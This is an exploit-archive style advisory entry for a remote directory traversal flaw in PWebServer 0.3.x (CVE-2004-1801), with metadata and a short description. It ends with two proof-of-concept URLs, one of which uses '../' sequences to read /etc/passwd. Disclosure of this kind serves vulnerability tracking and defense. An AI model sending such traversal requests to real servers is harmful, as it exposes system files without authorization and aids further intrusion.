PWebServer 0.3.x - Directory Traversal

Author: Donato Ferrante
type: remote
platform: linux
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date_added: 2004-03-08 
date_updated: 2012-12-31 
verified: 1 
codes: CVE-2004-1801;OSVDB-4155 
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source: https://www.securityfocus.com/bid/9817/info

It has been reported that PWebServer is prone to a remote directory traversal vulnerability. This issue is due to a failure of the server process to properly filter user supplied URI requests.

Information acquired by exploiting this issue may be used to aid further attacks against a vulnerable system.

http://www.example.com:6789/../someFile
http://www.example.com:6789/../../../../etc/passwd